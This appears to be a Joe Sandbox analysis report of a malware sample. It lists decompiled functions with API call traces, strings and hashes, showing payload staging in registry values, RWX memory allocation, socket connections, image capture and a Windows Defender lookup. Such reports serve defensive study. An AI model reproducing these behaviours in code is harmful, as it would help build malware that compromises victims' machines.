Function 02D07410 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,02D07523), ref: 02D0743D
GetProcAddress.KERNEL32(00000000), ref: 02D07444
GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,02D07523), ref: 02D07452
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,02D07523), ref: 02D0745A

Strings

kernel32.dll, xrefs: 02D0741D
GetNativeSystemInfo, xrefs: 02D07418

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3433367815-192647395
Opcode ID: b829d7561e9e57b9c8dd634cb4ccd411d1f841746171300968c9cacab7000004
Instruction ID: 797068b83e077559363de26f6d90b5362dbcdb717f70f70b0617ffcf3b81ef23
Opcode Fuzzy Hash: b829d7561e9e57b9c8dd634cb4ccd411d1f841746171300968c9cacab7000004
Instruction Fuzzy Hash: F80128B0E002099FDB54DFB4A944BAEBBF5EB18304F5049A9E909E7340E735DE54CB61

Function 009754C0 Relevance: 45.8, APIs: 16, Strings: 10, Instructions: 263
registrymemorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,00020019,?), ref: 00975507
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 0097552E
_memset.LIBCMT ref: 00975548
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 00975563
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 00975586
RegCloseKey.ADVAPI32(?), ref: 009755B1
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00975605
_memset.LIBCMT ref: 00975669
_memset.LIBCMT ref: 0097568D
_memset.LIBCMT ref: 0097569F
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 00975726
RegCreateKeyW.ADVAPI32(80000001,Console\0,?), ref: 00975799
RegDeleteValueW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4), ref: 009757AC
RegSetValueExW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000065), ref: 009757C4
RegCloseKey.KERNEL32(?), ref: 009757CE
Sleep.KERNEL32(00000BB8), ref: 009757FE

Strings

., xrefs: 0097563A
_, xrefs: 0097564E
{vU_, xrefs: 00975626
e, xrefs: 009754DC
9e9e85e05ee16fc372a0c7df6549fbd4, xrefs: 00975528, 0097555D, 009757A6, 009757BE
!jWW, xrefs: 00975630
i, xrefs: 00975658
0d3b34577c0a66584d5bdc849e214016, xrefs: 009755BA
l, xrefs: 00975644
Console\0, xrefs: 009754F3, 0097578F

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Value_memset$Virtual$AllocCloseQuery$CreateDeleteFreeOpenSleep
String ID: !jWW$.$0d3b34577c0a66584d5bdc849e214016$9e9e85e05ee16fc372a0c7df6549fbd4$Console\0$_$e$i$l${vU_
API String ID: 354323817-737951744
Opcode ID: 5d329976ac9cb220da50c6e2018fb397afeba0c5b51de52ccb4e2201410c0ea2
Instruction ID: 88fb42d77c27719784cc0da7eb344deebbd98964fab121f401696dca14e03310
Opcode Fuzzy Hash: 5d329976ac9cb220da50c6e2018fb397afeba0c5b51de52ccb4e2201410c0ea2
Instruction Fuzzy Hash: 0591D2B6A00704AFD720DF64DC45FAA77B9FB85700F548158FA0DAB381E7B19A40CBA1

Function 02D09E50 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 314
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GdipGetImagePixelFormat.GDIPLUS(Function_00009A30,?,?,00000000), ref: 02D09E7B
GdipGetImageHeight.GDIPLUS(Function_00009A30,?,?,00000000), ref: 02D09EFC
GdipGetImageWidth.GDIPLUS(Function_00009A30,?,?,00000000), ref: 02D09F24
GdipGetImagePaletteSize.GDIPLUS(Function_00009A30,?,?,00000000), ref: 02D09F7F
_malloc.LIBCMT ref: 02D09FC0

Part of subcall function 02D0F673: __FF_MSGBANNER.LIBCMT ref: 02D0F68C
Part of subcall function 02D0F673: __NMSG_WRITE.LIBCMT ref: 02D0F693
Part of subcall function 02D0F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D0F6B8

_free.LIBCMT ref: 02D0A000
GdipGetImagePalette.GDIPLUS(?,00000008,?,?,00000000), ref: 02D0A028
SetDIBColorTable.GDI32(?,00000000,?,?,?,00000000), ref: 02D0A0B7
GdipBitmapLockBits.GDIPLUS(Function_00009A30,?,00000001,?,?,?,00000000), ref: 02D0A112
_free.LIBCMT ref: 02D0A134
_memcpy_s.LIBCMT ref: 02D0A183
GdipBitmapUnlockBits.GDIPLUS(?,?,?,00000000), ref: 02D0A1D0
GdipCreateBitmapFromScan0.GDIPLUS(?,?,02D25A78,00022009,?,00000000,?,00000000), ref: 02D0A22C
GdipGetImageGraphicsContext.GDIPLUS(00000000,00022009,?,00000000), ref: 02D0A24C
GdipDrawImageI.GDIPLUS(00000000,Function_00009A30,00000000,00000000,?,00000000), ref: 02D0A267
GdipDeleteGraphics.GDIPLUS(?,?,00000000), ref: 02D0A274
GdipDisposeImage.GDIPLUS(00000000,?,00000000), ref: 02D0A27B
_free.LIBCMT ref: 02D0A296

Strings

&, xrefs: 02D09EE1

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Gdip$Image$Bitmap_free$BitsGraphicsPalette$AllocateColorContextCreateDeleteDisposeDrawFormatFromHeapHeightLockPixelScan0SizeTableUnlockWidth_malloc_memcpy_s
String ID: &
API String ID: 640422297-3042966939
Opcode ID: f32f4d2edbb0cefa07f80064f9c806d76c11c4a47ed342e83a9fdccfc24f6026
Instruction ID: 0c569d63d4f23d167e51da4a9821e5dbe9873c8cc101842c91a49375ea432900
Opcode Fuzzy Hash: f32f4d2edbb0cefa07f80064f9c806d76c11c4a47ed342e83a9fdccfc24f6026
Instruction Fuzzy Hash: 75D16EB1A002199BCB20CF65CCD4B9AB7B5EF48304F1085ADE709A7391D774AE85CF69

Function 02D02DA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 02D02DBB
InterlockedExchange.KERNEL32(?,00000000), ref: 02D02DC7
timeGetTime.WINMM ref: 02D02DCD
socket.WS2_32(00000002,00000001,00000006), ref: 02D02DFA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 02D02E26
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02D02E32
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 02D02E51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02D02E5D
gethostbyname.WS2_32(00000000), ref: 02D02E6B
htons.WS2_32(?), ref: 02D02E8D
connect.WS2_32(?,?,00000010), ref: 02D02EAB

Strings

0u, xrefs: 02D02F1C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: 73e4e80d04e486b3b109227398024c88c2e0193a568d43e3b81bae788261b85e
Instruction ID: 60590654028af223654d94560a0aa72e6c58f4175a8dd0beac6c5f7f150eacb5
Opcode Fuzzy Hash: 73e4e80d04e486b3b109227398024c88c2e0193a568d43e3b81bae788261b85e
Instruction Fuzzy Hash: D4614F71A80304AFE720DFA5DC89FAAB7B9FF58710F104519FA55A73D0D7B0A9048B64

Function 00972D80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 00972D9B
InterlockedExchange.KERNEL32(?,00000000), ref: 00972DA7
timeGetTime.WINMM ref: 00972DAD
socket.WS2_32(00000002,00000001,00000006), ref: 00972DDA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00972E06
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 00972E12
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 00972E31
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 00972E3D
gethostbyname.WS2_32(00000000), ref: 00972E4B
htons.WS2_32(?), ref: 00972E6D
connect.WS2_32(?,?,00000010), ref: 00972E8B

Strings

0u, xrefs: 00972EFC

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: 7a966cc15e6d329a3fc326de93d7a61fd9999d15a4b04264b2fe44a84e2cb4cf
Instruction ID: 73e22a08293e1571bf72917727ce22165728e4eb42a0ad6ec497794cd44ddea2
Opcode Fuzzy Hash: 7a966cc15e6d329a3fc326de93d7a61fd9999d15a4b04264b2fe44a84e2cb4cf
Instruction Fuzzy Hash: EA6152B1A54704AFD720DFA4DC45FAAB7B8FF48710F104519F64AA72D0D7B0A9048B65

Function 02D0AD10 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 346
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Console,00000000,00020019,?), ref: 02D0AD53
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 02D0AD73

Strings

Console, xrefs: 02D0AD39
IpDatespecial, xrefs: 02D0AD6D
%s_bin, xrefs: 02D0AE33
Console\0, xrefs: 02D0B0DC

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID: %s_bin$Console$Console\0$IpDatespecial
API String ID: 4153817207-1338088003
Opcode ID: ab26514982d552870e9b46a14721117b3fa89382e2c7cbca0e63feca12a76726
Instruction ID: 3ff75db70abd071ebe4484da594a1f75d6baac17e503c3bb45d22964e544b939
Opcode Fuzzy Hash: ab26514982d552870e9b46a14721117b3fa89382e2c7cbca0e63feca12a76726
Instruction Fuzzy Hash: DDC1BFB2A403019BE314DF24DC85F6BB7A9EF94714F140528FA499B3E1E771ED14CAA2

Function 02D06150 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 222
stringcomregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02D0618B
lstrcatW.KERNEL32(02D31F10,02D2510C,?,7A8163DF,00000AD4,00000000,753C73E0), ref: 02D061CD
lstrcatW.KERNEL32(02D31F10,02D2535C,?,7A8163DF,00000AD4,00000000,753C73E0), ref: 02D061D9
CoCreateInstance.OLE32(02D22480,00000000,00000017,02D2578C,?,?,7A8163DF,00000AD4,00000000,753C73E0), ref: 02D06220
_memset.LIBCMT ref: 02D062CE
wsprintfW.USER32 ref: 02D06336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 02D0635F
_memset.LIBCMT ref: 02D06376

Part of subcall function 02D06050: _memset.LIBCMT ref: 02D0607C
Part of subcall function 02D06050: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 02D06088

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 02D06330
Windows Defender IOfficeAntiVirus implementation , xrefs: 02D06186, 02D061C8, 02D061D4, 02D063C9, 02D063D5, 02D06422, 02D06436, 02D0645A

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$Createlstrcat$InstanceOpenSnapshotToolhelp32wsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1221949200-1583895642
Opcode ID: 21d57de5615bcc828a130aa29c89abcfed1e0d33e6e8263904a9bd0dbde518c2
Instruction ID: 64e8382d399a0c7586585fe9c7e9ea64b1f00cddd6fd225521d618d8f538e06d
Opcode Fuzzy Hash: 21d57de5615bcc828a130aa29c89abcfed1e0d33e6e8263904a9bd0dbde518c2
Instruction Fuzzy Hash: 2B8195B1A40228AFEB20DB54DC84FAEB77CEB48704F544588F609A7391D774AE44CFA4

Function 02D05F40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 88
sleepstringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32(00000000,00000000,2024.12.28), ref: 02D05F66
GetLastError.KERNEL32 ref: 02D05F6E
Sleep.KERNEL32(000003E8), ref: 02D05F85
CreateMutexW.KERNEL32(00000000,00000000,2024.12.28), ref: 02D05F90
GetLastError.KERNEL32 ref: 02D05F92
_memset.LIBCMT ref: 02D05FB9
lstrlenW.KERNEL32(?), ref: 02D05FC6
lstrcmpW.KERNEL32(?,02D25328), ref: 02D05FED
Sleep.KERNEL32(000003E8), ref: 02D05FF8
GetModuleHandleW.KERNEL32(00000000), ref: 02D06005
GetConsoleWindow.KERNEL32 ref: 02D0600F

Strings

open, xrefs: 02D05FCD
key, xrefs: 02D05FD2
2024.12.28, xrefs: 02D05F5D, 02D05F87

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutexSleep$ConsoleHandleModuleWindow_memsetlstrcmplstrlen
String ID: 2024.12.28$key$open
API String ID: 2922109467-4166660675
Opcode ID: 38f7cba42e05279908dc2ed0035fc8fe6ee97fe2308886be90f65f32915279bc
Instruction ID: 5dd67a2480c23f52c012516a500ce55620aeeb741ccbc0161c12cc65246ae8e5
Opcode Fuzzy Hash: 38f7cba42e05279908dc2ed0035fc8fe6ee97fe2308886be90f65f32915279bc
Instruction Fuzzy Hash: 0121C1729843019AE724DB60EC89F5A7398EBA4704F614C19FA04973D0DBB0ED1DCBA3

Function 02D062B6 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 125
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02D062CE
wsprintfW.USER32 ref: 02D06336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 02D0635F
_memset.LIBCMT ref: 02D06376
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 02D063B2
lstrcatW.KERNEL32(02D31F10,?), ref: 02D063CE
lstrcatW.KERNEL32(02D31F10,02D2535C), ref: 02D063DA
RegCloseKey.ADVAPI32(00000000), ref: 02D063E3
lstrlenW.KERNEL32(02D31F10,?,7A8163DF,00000AD4,00000000,753C73E0), ref: 02D06427
lstrcatW.KERNEL32(02D31F10,02D253D4,?,7A8163DF,00000AD4,00000000,753C73E0), ref: 02D0643B

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 02D06330
Windows Defender IOfficeAntiVirus implementation , xrefs: 02D063C9, 02D063D5, 02D06422, 02D06436, 02D0645A

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$CloseOpenQueryValuelstrlenwsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1671694837-1583895642
Opcode ID: a0992da8ac36e60a1de0d6babb03f8c25d275cd66f90224f399183872b2a006a
Instruction ID: 76c3397a1211af36371342ebc68ccf3ebafeda8c4c1d8ebb6e01148874f45bf3
Opcode Fuzzy Hash: a0992da8ac36e60a1de0d6babb03f8c25d275cd66f90224f399183872b2a006a
Instruction Fuzzy Hash: B54191B1A00228ABDB34DB50DC94FAAB7B8AF48705F4441C8F349A6291D6749E84CFA4

Function 02D0C060 Relevance: 19.7, APIs: 13, Instructions: 179
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000002,?,7A8163DF,?,00000000,?), ref: 02D0C09E
GlobalLock.KERNEL32(00000000), ref: 02D0C0AA
GlobalUnlock.KERNEL32(00000000), ref: 02D0C0BF
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 02D0C0D5
EnterCriticalSection.KERNEL32(02D2FB64), ref: 02D0C113
LeaveCriticalSection.KERNEL32(02D2FB64), ref: 02D0C124

Part of subcall function 02D09DE0: GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 02D09E04
Part of subcall function 02D09DE0: GdipDisposeImage.GDIPLUS(?), ref: 02D09E18

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 02D0C14C

Part of subcall function 02D0A460: GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 02D0A48D
Part of subcall function 02D0A460: _free.LIBCMT ref: 02D0A503

GetHGlobalFromStream.OLE32(?,?), ref: 02D0C16D
GlobalLock.KERNEL32(?), ref: 02D0C177
GlobalFree.KERNEL32(00000000), ref: 02D0C18F

Part of subcall function 02D09BA0: DeleteObject.GDI32(?), ref: 02D09BD2
Part of subcall function 02D09BA0: EnterCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09BE3
Part of subcall function 02D09BA0: EnterCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09BF8
Part of subcall function 02D09BA0: GdiplusShutdown.GDIPLUS(00000000,?,?,?,02D09B7B), ref: 02D09C04
Part of subcall function 02D09BA0: LeaveCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09C15
Part of subcall function 02D09BA0: LeaveCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09C1C

GlobalSize.KERNEL32(00000000), ref: 02D0C1A5
GlobalUnlock.KERNEL32(?), ref: 02D0C221
GlobalFree.KERNEL32(00000000), ref: 02D0C249

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$Stream$CreateEnterGdipLeave$FreeFromImageLockSizeUnlock$AllocBitmapDeleteDisposeEncodersGdiplusObjectShutdown_free
String ID:
API String ID: 1483550337-0
Opcode ID: 4d9d97595a1ea4beb670c3c962e5ee738e06a5b3ae467e1c5bdcb58332ed2776
Instruction ID: d5e45d026c0a44c060b1cfcaa3c71baabd58dd2f9b8ce40adb35e887fcc8235f
Opcode Fuzzy Hash: 4d9d97595a1ea4beb670c3c962e5ee738e06a5b3ae467e1c5bdcb58332ed2776
Instruction Fuzzy Hash: AA613AB1D00218AFDB10EFA5D888A9EBBB9FF58710F10852AF915A7351DB319D05CF60

Function 02D06490 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 144
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02D064C2
RegOpenKeyExW.KERNEL32(80000001,Software\Tencent\Plugin\VAS,00000000,000F003F,?), ref: 02D064E2
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 02D06524
_memset.LIBCMT ref: 02D06560
_memset.LIBCMT ref: 02D0658E
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00000000,00000AD4,753C73E0), ref: 02D065BA
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,753C73E0), ref: 02D065C3
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,753C73E0), ref: 02D065D5
RegCloseKey.ADVAPI32(?,00000000,00000AD4,753C73E0), ref: 02D06625
lstrlenW.KERNEL32(?), ref: 02D06635

Strings

Software\Tencent\Plugin\VAS, xrefs: 02D064D8

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memsetlstrlen$CloseEnumInfoOpenQuery
String ID: Software\Tencent\Plugin\VAS
API String ID: 2921034913-3343197220
Opcode ID: e6a84a911fc342b010a17bf2671363eb7ed897dc2eb6050b1f95423f9fafd7b1
Instruction ID: 77c0ddda69fbf4725f10c870e329e94d0f0f095c1e7eb7c34ca8417e619ab7fd
Opcode Fuzzy Hash: e6a84a911fc342b010a17bf2671363eb7ed897dc2eb6050b1f95423f9fafd7b1
Instruction Fuzzy Hash: 5E41D4F1A40218AAD734DB90CD85FEA737DEB44700F5044D9E709B7281EA70AE95CFA4

Function 02D0A460 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150windowCOMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 02D0A48D
_malloc.LIBCMT ref: 02D0A4D1
_free.LIBCMT ref: 02D0A503
GdipGetImageEncoders.GDIPLUS(?,?,00000008), ref: 02D0A522
GdipSaveImageToStream.GDIPLUS(00000000,?,?,00000000), ref: 02D0A594
GdipDisposeImage.GDIPLUS(00000000), ref: 02D0A59F
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 02D0A5C5
GdipDisposeImage.GDIPLUS(00000000), ref: 02D0A5DD

Strings

&, xrefs: 02D0A579

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Gdip$Image$DisposeEncoders$BitmapCreateFromSaveSizeStream_free_malloc
String ID: &
API String ID: 2794124522-3042966939
Opcode ID: 7116c6567c25c093ed8706b1220974367d1102e1a5f63289df9d5aacd6d02f60
Instruction ID: 114a837aaceac069865d331e380894d159af844d6bdf16bdcd022931e77572ab
Opcode Fuzzy Hash: 7116c6567c25c093ed8706b1220974367d1102e1a5f63289df9d5aacd6d02f60
Instruction Fuzzy Hash: 4D512DB1E002159FDB14DFA4D888BEEB7B9EF58714F118119EA05A73A0D734ED05CBA1

Function 009752B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 00975382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 00975392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,0098C6E0,000012A0), ref: 009753B0
RegCloseKey.KERNEL32(?), ref: 009753BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 0097540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0097541B
Sleep.KERNEL32(00000BB8), ref: 00975434

Strings

SOFTWARE, xrefs: 00975378
IpDates_info, xrefs: 0097538C, 009753AA

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: 07730cdfd9f608883fca0becfa8c3b8de239232b7bdeed08d0f0ae094386f43c
Instruction ID: 558965c34c611017b11bb6df2baeaf53bdefb5b0344f506d675828bc110840f8
Opcode Fuzzy Hash: 07730cdfd9f608883fca0becfa8c3b8de239232b7bdeed08d0f0ae094386f43c
Instruction Fuzzy Hash: A74117B364C641DBD3509F348C49B7A7BA9AB51344FAE8458F58DDA2A2D3F0D805C3A2

Function 009752D9 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 84registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 00975382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 00975392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,0098C6E0,000012A0), ref: 009753B0
RegCloseKey.KERNEL32(?), ref: 009753BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 0097540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0097541B
Sleep.KERNEL32(00000BB8), ref: 00975434

Strings

SOFTWARE, xrefs: 00975378
IpDates_info, xrefs: 0097538C, 009753AA

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
